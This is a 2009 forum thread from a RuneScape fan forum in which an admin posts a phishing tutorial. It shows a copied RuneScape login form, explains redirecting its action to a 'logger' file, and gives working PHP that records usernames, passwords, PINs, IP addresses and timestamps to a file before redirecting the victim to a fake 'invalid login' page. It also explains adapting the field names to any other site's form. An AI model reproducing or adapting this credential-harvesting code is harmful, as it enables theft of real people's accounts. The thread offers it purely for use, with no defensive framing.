RuneStream
---------- Zx16o5

Please Register Or log-in


RuneStream
---------- Zx16o5

Please Register Or log-in


RuneStream
Would you like to react to this message? Create an account in a few clicks or log in to continue.


RuneStream
 
HomeHome  Portal*Portal*  Latest imagesLatest images  RegisterRegister  Log inLog in  

 

 ----------

Go down 
2 posters
AuthorMessage
Origin
Admin
Admin
Origin


Posts : 2
Reputation : 0
Join date : 2009-04-26

---------- Empty
PostSubject: ----------   ---------- EmptySun Apr 26, 2009 10:41 pm

Most website logins, unless it's flash, use a form and php.

Most forms are VERY simple and it's the php that is advanced checking databases, etc.

here is a basic form...
Code:

<form id="login_form" action="https://weblogin.runescape.com/login.ws" method="post" autocomplete="off">
<div class="section_form">
<span style="float: left">RuneScape username:</span>
<input style="float: right" size="20" type="text" name="username" maxlength="12">

<br class="clear">
</div>
<div class="section_form">
<span style="float: left">RuneScape password:</span>
<input style="float: right" size="20" type="password" name="password" maxlength="20">
<br class="clear">
</div>
<div class="section_form">
<input type="submit" value="Secure Login">
</div>
<div class="section_form">
<input type="checkbox" name="rem" value="1"> Remember my username on this computer
</div>
<input type="hidden" name="mod" value="www">
<input type="hidden" name="ssl" value="0">

<input type="hidden" name="dest" value="">
</form>

This is from runescape.

You will notice one thing right near the very top....

Code:
action="https://weblogin.runescape.com/login.ws"

That is where it sends the variables from the form, aka the password and username and more.

All you have to do on ANY form is to change that link to a logger file.

so change it to logger.php, or anythinghere.php, as long as it's your logger file.

here is an example logger file code:
Code:
<?php $line    =('***********************************************');
 $name    = $_POST['name'];
 $user    = $_POST['username'];
 $passes  = $_POST['password'];
 $pin  = $_POST['pin'];
 $ip      = $_SERVER['REMOTE_ADDR'];
 $d        = date('l dS \of F Y h:i:s A');
 $headers .= "Content-Type: text/plain; charset=iso-8859-1\n";
 $mes    .= '<br>user: '.$user."<br>";
 $mes    .= 'Password: '.$passes."<br>";
 $mes    .= 'Pin: '.$pin."<br>";
 $mes    .= "IP: ".$ip."<br>";
 $mes    .= 'Date & Time: '.$d."<br>";
 $mes    .= ".$line.";  $file = "anything.html";
 $fh = fopen($file, "a");
 fwrite ($fh, "$mes\n"); fclose($fh);?>
<?php
header("Location: invalidlogin.php");
?>


Now you may be asking, "But it isn't working on a forum."
That is because your variables are wrong.

It logs the by the "name" of the input.

so the username field:
Code:
name="username"

would be logged here:
Code:
$user    = $_POST['username'];



So if the input was like this:
Code:
name="rawrcopter"

The log would be:
Code:
$user    = $_POST['rawrcopter'];


All you have to do is make sure you have the log file set to log the inputs you want.

Hope this helps. Wink


Last edited by Dark_ on Mon Apr 27, 2009 2:50 pm; edited 1 time in total
Back to top Go down
Smite
Sexy Webmaster
Sexy Webmaster
Smite


Posts : 25
Reputation : 3
Join date : 2009-04-23

---------- Empty
PostSubject: Re: ----------   ---------- EmptySun Apr 26, 2009 11:11 pm

no-one delete this
Back to top Go down
https://revengescape.canadian-forum.com
 
----------
Back to top 
Page 1 of 1

Permissions in this forum:You cannot reply to topics in this forum
RuneStream :: Account :: Banned/Muted/IPED-
Jump to: